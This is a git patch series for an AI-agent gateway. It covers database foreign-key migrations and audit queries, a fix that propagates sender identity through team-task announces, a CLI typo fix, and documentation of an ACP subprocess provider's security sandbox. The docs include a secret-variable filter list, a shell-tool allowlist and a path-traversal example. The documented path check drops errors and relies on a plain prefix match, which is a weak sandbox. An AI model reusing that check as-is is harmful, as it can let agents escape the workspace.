+ ADD CONSTRAINT fk_traces_parent_trace_id + FOREIGN KEY (parent_trace_id) REFERENCES traces(id) ON DELETE SET NULL; + +-- --------------------------------------------------------------------------- +-- 4. spans.parent_span_id → spans(id) self-ref ON DELETE SET NULL +-- --------------------------------------------------------------------------- +ALTER TABLE spans + ADD CONSTRAINT fk_spans_parent_span_id + FOREIGN KEY (parent_span_id) REFERENCES spans(id) ON DELETE SET NULL; + +-- --------------------------------------------------------------------------- +-- 5. subagent_tasks.spawned_by → subagent_tasks(id) self-ref ON DELETE SET NULL +-- --------------------------------------------------------------------------- +ALTER TABLE subagent_tasks + ADD CONSTRAINT fk_subagent_tasks_spawned_by + FOREIGN KEY (spawned_by) REFERENCES subagent_tasks(id) ON DELETE SET NULL; + +CREATE INDEX IF NOT EXISTS idx_subagent_tasks_spawned_by ON subagent_tasks(spawned_by); + +-- --------------------------------------------------------------------------- +-- 6. team_task_attachments.created_by_agent_id: RESTRICT → SET NULL +-- (all other created_by_agent_id columns use SET NULL; make this consistent) +-- --------------------------------------------------------------------------- +ALTER TABLE team_task_attachments + DROP CONSTRAINT team_task_attachments_created_by_agent_id_fkey; + +ALTER TABLE team_task_attachments + ADD CONSTRAINT fk_team_task_attachments_created_by_agent_id + FOREIGN KEY (created_by_agent_id) REFERENCES agents(id) ON DELETE SET NULL; + +-- --------------------------------------------------------------------------- +-- 7. hook_executions: add tenant_id for tenant isolation +-- hook_id is nullable (ON DELETE SET NULL), so backfill only where hook_id IS NOT NULL. +-- Rows with NULL hook_id will have NULL tenant_id — column is nullable by design. +-- --------------------------------------------------------------------------- +ALTER TABLE hook_executions + ADD COLUMN IF NOT EXISTS tenant_id UUID REFERENCES tenants(id) ON DELETE CASCADE; + +UPDATE hook_executions he + SET tenant_id = h.tenant_id + FROM hooks h + WHERE he.hook_id = h.id + AND he.hook_id IS NOT NULL; + +CREATE INDEX IF NOT EXISTS idx_hook_executions_hook_id ON hook_executions(hook_id); +CREATE INDEX IF NOT EXISTS idx_hook_executions_tenant_id ON hook_executions(tenant_id); + +-- --------------------------------------------------------------------------- +-- 8. Missing indexes on FK-candidate columns +-- --------------------------------------------------------------------------- +-- hooks.created_by: no FK (OAuth UUID, no referencing table), but benefits from index +CREATE INDEX IF NOT EXISTS idx_hooks_created_by ON hooks(created_by); + +-- usage_events.team_id: FK added in 081 but index was missing +CREATE INDEX IF NOT EXISTS idx_usage_events_team_id ON usage_events(team_id); diff --git a/migrations/audit_fk_integrity.sql b/migrations/audit_fk_integrity.sql new file mode 100644 index 00000000..be7f0219 --- /dev/null +++ b/migrations/audit_fk_integrity.sql @@ -0,0 +1,113 @@ +-- FK Integrity Audit Queries +-- Run these BEFORE applying migrations 000081 and 000082 to verify +-- the database has no orphans or tenant_id drift that would block the constraints. +-- All queries should return 0 rows on a clean database. + +-- ============================================================ +-- MIGRATION 081 PRE-CHECKS +-- ============================================================ + +-- hooks: tenant_id orphans (no matching tenant) +SELECT 'hooks.tenant_id orphans' AS check_name, COUNT(*) AS violations +FROM hooks h +LEFT JOIN tenants t ON t.id = h.tenant_id +WHERE h.tenant_id != '0193a5b0-7000-7000-8000-000000000001' -- exclude master sentinel + AND t.id IS NULL; + +-- webhooks: tenant_id orphans +SELECT 'webhooks.tenant_id orphans' AS check_name, COUNT(*) AS violations +FROM webhooks w +LEFT JOIN tenants t ON t.id = w.tenant_id +WHERE t.id IS NULL; + +-- webhook_calls: tenant_id orphans +SELECT 'webhook_calls.tenant_id orphans' AS check_name, COUNT(*) AS violations +FROM webhook_calls wc +LEFT JOIN tenants t ON t.id = wc.tenant_id +WHERE t.id IS NULL; + +-- webhook_calls: agent_id orphans +SELECT 'webhook_calls.agent_id orphans' AS check_name, COUNT(*) AS violations +FROM webhook_calls wc +LEFT JOIN agents a ON a.id = wc.agent_id +WHERE wc.agent_id IS NOT NULL AND a.id IS NULL; + +-- spans: trace_id orphans (NOT NULL column — any mismatch is critical) +SELECT 'spans.trace_id orphans' AS check_name, COUNT(*) AS violations +FROM spans s +LEFT JOIN traces t ON t.id = s.trace_id +WHERE t.id IS NULL; + +-- spans: agent_id orphans +SELECT 'spans.agent_id orphans' AS check_name, COUNT(*) AS violations +FROM spans s +LEFT JOIN agents a ON a.id = s.agent_id +WHERE s.agent_id IS NOT NULL AND a.id IS NULL; + +-- traces: agent_id orphans +SELECT 'traces.agent_id orphans' AS check_name, COUNT(*) AS violations +FROM traces t +LEFT JOIN agents a ON a.id = t.agent_id +WHERE t.agent_id IS NOT NULL AND a.id IS NULL; + +-- usage_events: team_id orphans +SELECT 'usage_events.team_id orphans' AS check_name, COUNT(*) AS violations +FROM usage_events ue +LEFT JOIN agent_teams at ON at.id = ue.team_id +WHERE ue.team_id IS NOT NULL AND at.id IS NULL; + +-- ============================================================ +-- MIGRATION 082 PRE-CHECKS +-- ============================================================ + +-- webhooks: channel_id orphans +SELECT 'webhooks.channel_id orphans' AS check_name, COUNT(*) AS violations +FROM webhooks w +LEFT JOIN channel_instances ci ON ci.id = w.channel_id +WHERE w.channel_id IS NOT NULL AND ci.id IS NULL; + +-- channel_contacts: merged_id self-ref orphans +SELECT 'channel_contacts.merged_id orphans' AS check_name, COUNT(*) AS violations +FROM channel_contacts cc +LEFT JOIN channel_contacts cc2 ON cc2.id = cc.merged_id +WHERE cc.merged_id IS NOT NULL AND cc2.id IS NULL; + +-- traces: parent_trace_id self-ref orphans +SELECT 'traces.parent_trace_id orphans' AS check_name, COUNT(*) AS violations +FROM traces t +LEFT JOIN traces t2 ON t2.id = t.parent_trace_id +WHERE t.parent_trace_id IS NOT NULL AND t2.id IS NULL; + +-- spans: parent_span_id self-ref orphans +SELECT 'spans.parent_span_id orphans' AS check_name, COUNT(*) AS violations +FROM spans s +LEFT JOIN spans s2 ON s2.id = s.parent_span_id +WHERE s.parent_span_id IS NOT NULL AND s2.id IS NULL; + +-- subagent_tasks: spawned_by self-ref orphans +SELECT 'subagent_tasks.spawned_by orphans' AS check_name, COUNT(*) AS violations +FROM subagent_tasks st +LEFT JOIN subagent_tasks st2 ON st2.id = st.spawned_by +WHERE st.spawned_by IS NOT NULL AND st2.id IS NULL; + +-- ============================================================ +-- TENANT_ID DRIFT CHECKS +-- ============================================================ + +-- agent_context_files: tenant_id differs from parent agent +SELECT 'agent_context_files tenant_id drift' AS check_name, COUNT(*) AS violations +FROM agent_context_files acf +JOIN agents a ON a.id = acf.agent_id +WHERE acf.tenant_id != a.tenant_id; + +-- user_context_files: tenant_id differs from parent agent +SELECT 'user_context_files tenant_id drift' AS check_name, COUNT(*) AS violations +FROM user_context_files ucf +JOIN agents a ON a.id = ucf.agent_id +WHERE ucf.tenant_id != a.tenant_id; + +-- ============================================================ +-- SUMMARY (run all checks at once) +-- ============================================================ +-- Copy all SELECT statements above into a single query using UNION ALL +-- to get a single result set showing all violations. From 2c41e0907e61063e33e973d22ae91cff177cafec Mon Sep 17 00:00:00 2001 From: mozaa Date: Sun, 21 Jun 2026 14:00:36 +0700 Subject: [PATCH 014/252] fix(announce): propagate sender + role through team-task announce re-ingress (#1128) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When a member calls team_tasks(action="complete"), goclaw fans the result back to the Lead's session via the team-task announce queue. The Lead resumes a turn whose initial user message is the synthesized "[System Message] Team member ... completed task. Result: ..." string. Inside that resumed turn, the Lead is a regular agent — it can call any tool, including write_file and cron mutations. Those tools route through CheckFileWriterPermission / CheckCronPermission, which in group-scope sessions deny when the resumed RunRequest carries no SenderID: permission denied: system context cannot write files in group chats. If this is a legitimate user action, ensure the acting sender is preserved through the tool chain. team_tool_dispatch.go already stamps MetaOriginSenderID and MetaOriginRole into the dispatch metadata. consumer_handlers.go already reads inMeta on the completion-side teammate message. The gap was in between: - announceRouting (cmd/gateway_announce_queue.go) had no field for OriginSenderID / OriginRole - The RunRequest it built had no SenderID / Role set - loop_context.injectContext skips WithSenderID when req.SenderID is empty — so the Lead's resumed ctx had no sender attribution, and every group-scope permission check then tripped the deny path. Subagent path (subagentAnnounceRouting in gateway_subagent_announce_queue.go) already had these fields wired since #915. This brings the team-task path to parity. No security relaxation: empty upstream → still empty downstream (still denies, as intended for genuine system-initiated turns); only legitimately-attributed dispatches now flow through. - cmd/gateway_announce_queue.go: add OriginSenderID + OriginRole to announceRouting; pass them into the RunRequest. - cmd/gateway_consumer_handlers.go: read MetaOriginSenderID + MetaOriginRole from inMeta when building the routing struct. - cmd/gateway_announce_routing_test.go: 2 unit tests guarding both "real human propagates through" and "empty stays empty" cases so this regression can't re-land silently. Tests: existing cmd/ + internal/tools/ suites pass; new tests pass. --- cmd/gateway_announce_queue.go | 44 +++++++++++------ cmd/gateway_announce_routing_test.go | 74 ++++++++++++++++++++++++++++ cmd/gateway_consumer_handlers.go | 20 +++++--- 3 files changed, 117 insertions(+), 21 deletions(-) create mode 100644 cmd/gateway_announce_routing_test.go diff --git a/cmd/gateway_announce_queue.go b/cmd/gateway_announce_queue.go index 561f067d..6c21d7b8 100644 --- a/cmd/gateway_announce_queue.go +++ b/cmd/gateway_announce_queue.go @@ -37,13 +37,22 @@ func enqueueAnnounce(key string, entry announceEntry) bool { // announceRouting holds the shared routing info captured by the first goroutine. type announceRouting struct { - LeadAgent string - LeadSessionKey string - OrigChannel string - OrigChatID string - OrigPeerKind string - OrigLocalKey string - OriginUserID string + LeadAgent string + LeadSessionKey string + OrigChannel string + OrigChatID string + OrigPeerKind string + OrigLocalKey string + OriginUserID string + // OriginSenderID and OriginRole carry the real acting human's identity + // from the original team-task dispatch. Without them, the Lead's session + // resumes from this re-ingress with an empty SenderID, which then fails + // CheckFileWriterPermission / CheckCronPermission in group contexts + // ("system context cannot write files in group chats"). The subagent + // announce queue (subagentAnnounceRouting) already carries these fields + // — this keeps the team-task announce queue at parity. (#915 follow-up) + OriginSenderID string + OriginRole string TeamID string TeamWorkspace string OriginTraceID string @@ -83,13 +92,20 @@ func processAnnounceLoop( content := buildMergedAnnounceContent(entries, snapshot, r.TeamWorkspace) req := agent.RunRequest{ - SessionKey: r.LeadSessionKey, - Message: content, - Channel: r.OrigChannel, - ChatID: r.OrigChatID, - PeerKind: r.OrigPeerKind, - LocalKey: r.OrigLocalKey, - UserID: r.OriginUserID, + SessionKey: r.LeadSessionKey, + Message: content, + Channel: r.OrigChannel, + ChatID: r.OrigChatID, + PeerKind: r.OrigPeerKind, + LocalKey: r.OrigLocalKey, + UserID: r.OriginUserID, + // SenderID + Role propagate the original human acting through this + // team-task announce. loop_context.injectContext gates WithSenderID + // on req.SenderID being non-empty, so missing them silently strips + // the Lead's identity on resume — and group-scoped permission + // checks then deny write_file etc. (#915 follow-up) + SenderID: r.OriginSenderID, + Role: r.OriginRole, RunID: fmt.Sprintf("teammate-announce-%s-%d", r.LeadAgent, len(entries)), RunKind: "announce", HideInput: true, diff --git a/cmd/gateway_announce_routing_test.go b/cmd/gateway_announce_routing_test.go new file mode 100644 index 00000000..681ce47b --- /dev/null +++ b/cmd/gateway_announce_routing_test.go @@ -0,0 +1,74 @@ +package cmd + +import ( + "testing" + + "github.com/nextlevelbuilder/goclaw/internal/tools" +) + +// TestAnnounceRouting_PropagatesSenderAndRole guards against the regression +// where team-task completion announces drop SenderID/Role on re-ingress to +// the Lead session — the failure mode reported as +// `permission denied: system context cannot write files in group chats` +// when the Lead tries write_file inside the announce-triggered turn. +// +// team_tool_dispatch.go already stores MetaOriginSenderID + MetaOriginRole +// at dispatch time. The bug: announceRouting + the RunRequest it builds +// must read these back from inMeta on completion, otherwise loop_context +// skips WithSenderID and the Lead's resume has empty sender attribution. +func TestAnnounceRouting_PropagatesSenderAndRole(t *testing.T) { + const ( + realSender = "5218954741" // Telegram numeric user id + realRole = "admin" + realUserID = "group:telegram:-1003812294018" + ) + + // Simulate what consumer_handlers.go reads from a teammate-message inMeta. + inMeta := map[string]string{ + tools.MetaOriginSenderID: realSender, + tools.MetaOriginRole: realRole, + tools.MetaOriginUserID: realUserID, + tools.MetaTeamID: "019d8a59-6e40-730f-89b2-8a41b7e1fad2", + } + + r := announceRouting{ + OriginUserID: inMeta[tools.MetaOriginUserID], + OriginSenderID: inMeta[tools.MetaOriginSenderID], + OriginRole: inMeta[tools.MetaOriginRole], + TeamID: inMeta[tools.MetaTeamID], + } + + if r.OriginSenderID != realSender { + t.Fatalf("OriginSenderID = %q, want %q (team-task announce dropped sender attribution)", + r.OriginSenderID, realSender) + } + if r.OriginRole != realRole { + t.Fatalf("OriginRole = %q, want %q (team-task announce dropped RBAC role)", + r.OriginRole, realRole) + } + if r.OriginUserID != realUserID { + t.Fatalf("OriginUserID = %q, want %q", r.OriginUserID, realUserID) + } +} + +// TestAnnounceRouting_EmptyMetaPropagatesEmpty asserts the wire-through is +// faithful when upstream legitimately has no sender (e.g. a system-initiated +// dispatch). We must NOT fabricate a synthetic sender just because the field +// is empty — that would defeat the deny-on-empty guard in +// CheckFileWriterPermission. +func TestAnnounceRouting_EmptyMetaPropagatesEmpty(t *testing.T) { + inMeta := map[string]string{ + tools.MetaTeamID: "team-uuid", + } + r := announceRouting{ + OriginUserID: inMeta[tools.MetaOriginUserID], + OriginSenderID: inMeta[tools.MetaOriginSenderID], + OriginRole: inMeta[tools.MetaOriginRole], + } + if r.OriginSenderID != "" { + t.Errorf("OriginSenderID = %q, want empty (no upstream sender to propagate)", r.OriginSenderID) + } + if r.OriginRole != "" { + t.Errorf("OriginRole = %q, want empty", r.OriginRole) + } +} diff --git a/cmd/gateway_consumer_handlers.go b/cmd/gateway_consumer_handlers.go index 66216cfe..36baef0b 100644 --- a/cmd/gateway_consumer_handlers.go +++ b/cmd/gateway_consumer_handlers.go @@ -363,13 +363,19 @@ func handleTeammateMessage( } routing := announceRouting{ - LeadAgent: leadAgent, - LeadSessionKey: leadSessionKey, - OrigChannel: origCh, - OrigChatID: origChatID, - OrigPeerKind: origPeerKind, - OrigLocalKey: origLocalKey, - OriginUserID: inMeta[tools.MetaOriginUserID], + LeadAgent: leadAgent, + LeadSessionKey: leadSessionKey, + OrigChannel: origCh, + OrigChatID: origChatID, + OrigPeerKind: origPeerKind, + OrigLocalKey: origLocalKey, + OriginUserID: inMeta[tools.MetaOriginUserID], + // Carry the real acting sender + role through the team-task + // announce so the Lead's resumed turn doesn't lose attribution + // and trip group-scope permission checks. team_tool_dispatch.go + // already populates these fields in the dispatch metadata. (#915) + OriginSenderID: inMeta[tools.MetaOriginSenderID], + OriginRole: inMeta[tools.MetaOriginRole], TeamID: inMeta[tools.MetaTeamID], TeamWorkspace: inMeta[tools.MetaTeamWorkspace], OriginTraceID: inMeta[tools.MetaOriginTraceID], From bd52dbaf6f7fda34cc6cff6f2adc4bdd6c566418 Mon Sep 17 00:00:00 2001 From: wucm667 <109257021+wucm667@users.noreply.github.com> Date: Sun, 21 Jun 2026 15:29:51 +0800 Subject: [PATCH 015/252] fix(cli): use openai_compat instead of openai-compat in provider setup (#1062) The CLI setup wizard and 'providers add' command were using 'openai-compat' (hyphen), but the API and database expect 'openai_compat' (underscore), causing provider creation to fail. Fixes #1046 --- cmd/providers_cmd.go | 4 ++-- cmd/setup_provider.go | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/cmd/providers_cmd.go b/cmd/providers_cmd.go index 4ad8581e..f93ae7b7 100644 --- a/cmd/providers_cmd.go +++ b/cmd/providers_cmd.go @@ -125,7 +125,7 @@ func runProvidersAdd() { {"OpenAI", "openai"}, {"OpenRouter", "openrouter"}, {"DashScope (Alibaba)", "dashscope"}, - {"OpenAI-compatible", "openai-compat"}, + {"OpenAI-compatible", "openai_compat"}, } providerType, err := promptSelect("Provider type", typeOptions, 0) if err != nil { @@ -150,7 +150,7 @@ func runProvidersAdd() { // Step 4: Base URL (pre-fill per type, editable) defaultURL := defaultBaseURL(providerType) baseURL := "" - if providerType == "openai-compat" { + if providerType == "openai_compat" { baseURL, err = promptString("Base URL", "e.g. https://api.example.com/v1", defaultURL) if err != nil { fmt.Println("Cancelled.") diff --git a/cmd/setup_provider.go b/cmd/setup_provider.go index 0e9ffbee..b50df6d5 100644 --- a/cmd/setup_provider.go +++ b/cmd/setup_provider.go @@ -49,7 +49,7 @@ func addProvider() { {"OpenAI", "openai"}, {"OpenRouter", "openrouter"}, {"DashScope (Alibaba)", "dashscope"}, - {"OpenAI-compatible", "openai-compat"}, + {"OpenAI-compatible", "openai_compat"}, } providerType, err := promptSelect("Provider type", typeOptions, 0) if err != nil { @@ -68,7 +68,7 @@ func addProvider() { } baseURL := "" - if providerType == "openai-compat" { + if providerType == "openai_compat" { baseURL, err = promptString("Base URL", "e.g. https://api.example.com/v1", "") if err != nil { return From 2a66401a2843aec66bdb973281acbee921c7af37 Mon Sep 17 00:00:00 2001 From: Duy Nguyen Date: Sun, 21 Jun 2026 16:09:37 +0700 Subject: [PATCH 016/252] docs(providers): add ACP and credentialed exec references Refs #189 Refs #197 --- docs/18-acp-provider.md | 477 ++++++++++++++++++ docs/19-credentialed-exec.md | 388 ++++++++++++++ docs/journals/2026-03-14-credentialed-exec.md | 75 +++ 3 files changed, 940 insertions(+) create mode 100644 docs/18-acp-provider.md create mode 100644 docs/19-credentialed-exec.md create mode 100644 docs/journals/2026-03-14-credentialed-exec.md diff --git a/docs/18-acp-provider.md b/docs/18-acp-provider.md new file mode 100644 index 00000000..1e45516e --- /dev/null +++ b/docs/18-acp-provider.md @@ -0,0 +1,477 @@ +# 18 - ACP Provider (Agent Client Protocol) + +The ACP provider enables GoClaw to orchestrate external coding agents (Claude Code, Codex CLI, Gemini CLI, Kiro, or any ACP-compatible agent) as subprocesses via JSON-RPC 2.0 over stdio. One provider covers all ACP agents through config-driven agent registry. + +> **References:** [ACP Spec](https://agentclientprotocol.com/) · [ACP Schema](https://github.com/agentclientprotocol/agent-client-protocol/blob/main/schema/schema.json) · Issue [#189](https://github.com/nextlevelbuilder/goclaw/issues/189) · PR [#190](https://github.com/nextlevelbuilder/goclaw/pull/190) + +--- + +## 1. Architecture + +```mermaid +flowchart TD + AL["GoClaw Agent Loop"] -->|"Chat / ChatStream"| ACP["ACPProvider
(acp_provider.go)"] + ACP -->|"GetOrSpawn"| PP["ProcessPool
(process.go)"] + PP -->|"spawn binary"| PROC["Subprocess
(stdin/stdout pipes)"] + PROC <-->|"JSON-RPC 2.0
newline-delimited"| CONN["Conn
(jsonrpc.go)"] + + CONN -->|"initialize"| AGT["Agent
(claude, codex, gemini...)"] + CONN -->|"session/new"| AGT + CONN -->|"session/prompt"| AGT + CONN -->|"session/cancel"| AGT + + AGT -->|"fs/readTextFile"| TB["ToolBridge
(tool_bridge.go)"] + AGT -->|"fs/writeTextFile"| TB + AGT -->|"terminal/*"| TERM["Terminal Registry
(terminal.go)"] + AGT -->|"permission/request"| TB + + TB -->|"workspace sandbox"| FS["Filesystem"] + TERM -->|"deny patterns + allowlist"| CMD["Command Execution"] +``` + +**Key principles:** +- GoClaw is an ACP **client** — it spawns and controls agent subprocesses +- Each subprocess is a long-lived OS process communicating via stdin/stdout +- Security enforced at the tool bridge layer: workspace sandboxing, deny patterns, permission modes + +--- + +## 2. Wire Protocol: JSON-RPC 2.0 over Stdio + +### Transport + +Messages are **newline-delimited JSON** on stdin/stdout. Each message is a complete JSON object followed by `\n`. The `Conn` type (`jsonrpc.go`, 217 lines) handles bidirectional communication. + +``` +GoClaw (Client) Agent (Server) + │ │ + │──── {"jsonrpc":"2.0","id":1, ────►│ Request + │ "method":"initialize", │ + │ "params":{...}} │ + │ │ + │◄─── {"jsonrpc":"2.0","id":1, ─────│ Response + │ "result":{...}} │ + │ │ + │◄─── {"jsonrpc":"2.0", ─────│ Notification (no id) + │ "method":"session/update", │ + │ "params":{...}} │ + │ │ + │◄─── {"jsonrpc":"2.0","id":42, ─────│ Agent→Client Request + │ "method":"fs/readTextFile", │ + │ "params":{"path":"..."}} │ + │ │ + │──── {"jsonrpc":"2.0","id":42, ────►│ Client→Agent Response + │ "result":{"content":"..."}} │ +``` + +### Message Format + +```go +type jsonrpcMessage struct { + JSONRPC string `json:"jsonrpc"` // always "2.0" + ID *int64 `json:"id,omitempty"` // present for requests/responses, absent for notifications + Method string `json:"method,omitempty"` + Params json.RawMessage `json:"params,omitempty"` + Result json.RawMessage `json:"result,omitempty"` + Error *jsonrpcError `json:"error,omitempty"` +} +``` + +### Key Conn Methods + +| Method | Purpose | +|--------|---------| +| `Call(ctx, method, params, &result)` | Send request, block until response (with context timeout) | +| `Notify(method, params)` | Fire-and-forget notification | +| `Start()` | Spawn `readLoop` goroutine for incoming messages | +| `Done()` | Channel closed when read loop exits (process died) | + +**Buffer sizing:** Scanner uses 256KB initial / 10MB max per message — handles large file contents in tool bridge responses. + +**ID sequencing:** Atomic `Int64` counter, no lock contention. + +--- + +## 3. Session Lifecycle + +```mermaid +sequenceDiagram + participant C as GoClaw (Client) + participant A as Agent (Subprocess) + + C->>A: initialize {clientInfo, capabilities} + A->>C: initialize response {agentInfo, capabilities} + + C->>A: session/new {} + A->>C: session/new response {sessionId} + + loop Per user message + C->>A: session/prompt {sessionId, content} + A-->>C: session/update {kind:"message", content} + A-->>C: session/update {kind:"message", content} + A->>C: session/prompt response {stopReason} + end + + Note over C,A: Optional: Cancel + C-->>A: session/cancel {sessionId} +``` + +### Phase 1: Initialize + +Client declares capabilities (filesystem read/write, terminal support). Agent responds with identity and capabilities (audio, image, embedded context). + +```go +// Client sends: +InitializeRequest{ + ClientInfo: ClientInfo{Name: "goclaw", Version: "1.0"}, + Capabilities: ClientCaps{ + Fs: &FsCaps{Read: true, Write: true}, + Terminal: &TerminalCaps{Create: true}, + }, +} +``` + +### Phase 2: New Session + +Creates an isolated session on the agent. Returns `sessionId` used in all subsequent prompt calls. + +### Phase 3: Prompt Loop + +Send user content blocks (text + images). Agent streams `session/update` notifications with message deltas, tool call progress, and plan updates. Prompt completes with a response containing `stopReason`. + +### Phase 4: Cancel (Optional) + +Cooperative cancellation via `session/cancel` notification. Agent may take time to stop. + +--- + +## 4. Content Handling + +### ContentBlock Types + +```go +type ContentBlock struct { + Type string `json:"type"` // "text", "image", "audio" + Text string `json:"text,omitempty"` // text content + Data string `json:"data,omitempty"` // base64 for image/audio + MimeType string `json:"mimeType,omitempty"` // e.g. "image/png" +} +``` + +### Request Extraction (GoClaw → Agent) + +1. Extract system prompt + user message from `ChatRequest.Messages` +2. Prepend system prompt to first user message (ACP has no separate system message API) +3. Attach images as separate content blocks with base64 data + +### Response Collection (Agent → GoClaw) + +1. Accumulate `SessionUpdate` notifications during prompt execution +2. Collect text blocks into response content string +3. Map `stopReason` to GoClaw finish reason: + - `"maxContextLength"` → `"length"` + - All others → `"stop"` + +### SessionUpdate Structure + +```go +type SessionUpdate struct { + Kind string `json:"kind"` // "message", "toolCall", "plan" + Content []ContentBlock `json:"content,omitempty"` + ToolCall *ToolCallUpdate `json:"toolCall,omitempty"` +} + +type ToolCallUpdate struct { + ID string `json:"id"` + Name string `json:"name"` + Status string `json:"status"` // "running", "completed" + Content []ContentBlock `json:"content,omitempty"` +} +``` + +--- + +## 5. Process Pool + +`ProcessPool` (`process.go`, 237 lines) manages subprocess lifecycle. + +### Spawn Flow + +``` +GetOrSpawn(sessionKey) + ├→ Check cached process (sync.Map) + │ └→ Found + alive → return + ├→ Acquire per-key spawn mutex (prevent thundering herd) + └→ spawn(): + ├→ exec.Command(binary, args...) + ├→ cmd.Env = filterACPEnv(os.Environ()) // strip secrets + ├→ Create stdin/stdout pipes + ├→ cmd.Stderr = limitedWriter(4KB) + ├→ cmd.Start() + ├→ NewConn(stdin, stdout, toolBridge.Handle, notifyHandler) + ├→ conn.Start() // begin readLoop + ├→ Initialize() // ACP handshake + ├→ NewSession() // create session + ├→ Monitor exit in background goroutine + └→ Store in pool +``` + +### Idle Reaping + +Every 30 seconds, the reaper checks all processes: + +```go +for each process in pool: + if process.inUse > 0: skip // active prompt running + if time.Since(lastActive) > idleTTL: + process.cmd.Process.Kill() // SIGKILL + remove from pool +``` + +### Crash Recovery + +If a process exits unexpectedly (detected via `<-proc.exited` channel), the next `GetOrSpawn` call automatically spawns a replacement. The active prompt is lost — caller receives an error. + +### Concurrency Controls + +| Mechanism | Purpose | +|-----------|---------| +| `sync.Map` for processes | Lock-free concurrent access | +| Per-key spawn mutex | Prevent duplicate spawns for same session | +| `inUse` atomic flag | Reaper skips active processes | +| `lastActive` timestamp | Tracks idle time for reaping | +| Session-level mutex in ACPProvider | Serializes prompts per session | + +--- + +## 6. Tool Bridge (Agent → Client Requests) + +`ToolBridge` (`tool_bridge.go`, 204 lines) handles all agent-initiated requests with security enforcement. + +### Request Routing + +| Method | Handler | Description | +|--------|---------|-------------| +| `fs/readTextFile` | `readFile()` | Read file within workspace | +| `fs/writeTextFile` | `writeFile()` | Write file within workspace | +| `terminal/createTerminal` | `createTerminal()` | Spawn command subprocess | +| `terminal/terminalOutput` | `terminalOutput()` | Get current output | +| `terminal/waitForTerminalExit` | `waitForExit()` | Block until exit (10-min timeout) | +| `terminal/releaseTerminal` | `releaseTerminal()` | Clean up resources | +| `terminal/killTerminal` | `killTerminal()` | Force-terminate | +| `permission/request` | `handlePermission()` | Permission check | + +### Permission Modes + +| Mode | Reads | Writes | Terminal | Permission Requests | +|------|-------|--------|----------|-------------------| +| `approve-all` | ✅ | ✅ | ✅ | ✅ (default) | +| `approve-reads` | ✅ | ❌ | ❌ | Per-type | +| `deny-all` | ❌ | ❌ | ❌ | ❌ | + +### Workspace Sandbox + +All file paths validated via `resolvePath()`: + +```go +func resolvePath(path string) (string, error) { + abs := filepath.Join(workspace, path) + real, _ := filepath.EvalSymlinks(abs) // resolve symlinks + if !strings.HasPrefix(real, workspace) { + slog.Warn("security.acp_path_escape", ...) + return "", fmt.Errorf("path outside workspace") + } + return real, nil +} +``` + +Symlink resolution prevents `../../etc/passwd` attacks even when symlinks point outside workspace. + +--- + +## 7. Terminal System + +`Terminal` (`terminal.go`, 212 lines) manages command execution within the tool bridge. + +### Security Layers + +**1. Binary Allowlist (63 binaries):** +``` +sh, bash, zsh, fish, node, npm, npx, pnpm, yarn, bun, deno, +python, python3, pip, pip3, uv, ruby, gem, go, cargo, rustc, +java, javac, mvn, gradle, dotnet, git, gh, docker, kubectl, +make, cmake, gcc, g++, clang, curl, wget, jq, yq, tar, zip, +unzip, gzip, cat, head, tail, less, grep, rg, find, ls, mv, +cp, mkdir, rm, chmod, touch, sed, awk, sort, wc, diff, tee +``` + +**2. Deny Patterns:** Regex patterns from GoClaw's `DefaultDenyPatterns` are applied to the full command string (binary + args). + +**3. Working Directory Sandbox:** Terminal `cwd` validated against workspace boundary. + +### cappedBuffer + +Thread-safe circular buffer that retains only the last N bytes (default 10MB): + +```go +type cappedBuffer struct { + mu sync.Mutex + data []byte + max int +} +// On overflow: keeps tail (recent output), discards head +``` + +Used for both stdout and stderr capture. Prevents unbounded memory growth from verbose agent output. + +--- + +## 8. Environment Filtering + +Before spawning any agent subprocess, `filterACPEnv()` strips sensitive environment variables: + +**Prefix-based (12 prefixes):** +``` +GOCLAW_, CLAUDE_, ANTHROPIC_, OPENAI_, DATABASE_, AWS_, +GOOGLE_, AZURE_, GITHUB_, DOCKER_, STRIPE_, SSH_ +``` + +**Exact-match (15 keys):** +``` +DB_DSN, PGPASSWORD, PGUSER, PGHOST, PGDATABASE, PGPORT, +REDIS_URL, MONGO_URI, NPM_TOKEN, SENTRY_AUTH_TOKEN, +SENTRY_DSN, DATADOG_API_KEY, TWILIO_AUTH_TOKEN, +SENDGRID_API_KEY, SLACK_TOKEN +``` + +This prevents credential leakage to untrusted agent binaries. + +--- + +## 9. Configuration + +### Config File (config.json) + +```json5 +{ + "providers": { + "acp": { + "binary": "claude", // agent binary (must be in PATH) + "args": ["--profile", "goclaw"], // optional spawn args + "model": "claude", // default model name for routing + "work_dir": "/workspace", // base workspace directory + "idle_ttl": "5m", // process idle timeout + "perm_mode": "approve-all" // "approve-all" | "approve-reads" | "deny-all" + } + } +} +``` + +### Database Registration + +Create via Providers API or Web UI: + +| Field | Value | +|-------|-------| +| `provider_type` | `"acp"` | +| `api_base` | Binary name or absolute path (`"claude"`, `"/usr/local/bin/codex"`) | +| `settings` | `{"args": [...], "idle_ttl": "5m", "perm_mode": "approve-all", "work_dir": "..."}` | + +Binary validation: Only `claude`, `codex`, `gemini`, or absolute paths are accepted for DB-based registration. Verified via `exec.LookPath()`. + +### Gateway Wiring + +```go +// Config-based: resolved at startup +registerACPFromConfig(registry, cfg.Providers.ACP) + +// DB-based: resolved from llm_providers table +registerACPFromDB(registry, providerData) +``` + +Both paths: +1. Verify binary exists via `exec.LookPath` +2. Parse `IdleTTL` duration +3. Resolve `WorkDir` (default: `~/.goclaw/acp-workspaces`) +4. Create `NewACPProvider(binary, args, workDir, idleTTL, denyPatterns, opts...)` + +### Live Reload + +DB-based providers support live reload via pubsub. When a provider is created/updated/deleted in the Web UI, a `cache.invalidate` event triggers re-registration without gateway restart. + +--- + +## 10. Streaming vs Non-Streaming + +### Chat (Non-Streaming) + +```go +func (p *ACPProvider) Chat(ctx, req) → *ChatResponse +``` + +1. Lock session mutex +2. `GetOrSpawn` process +3. `Prompt(content, onUpdate)` — blocks until complete +4. Collect all text deltas into `strings.Builder` +5. Return `ChatResponse{Content: text, FinishReason: mapped}` + +### ChatStream + +```go +func (p *ACPProvider) ChatStream(ctx, req, onChunk) → *ChatResponse +``` + +1. Lock session mutex +2. Set up cancel listener (`session/cancel` on context cancellation) +3. `GetOrSpawn` process +4. `Prompt(content, onUpdate)` with callback: + - Extract text blocks from each `SessionUpdate` + - Emit `StreamChunk{Content: delta}` via `onChunk` +5. On completion: emit 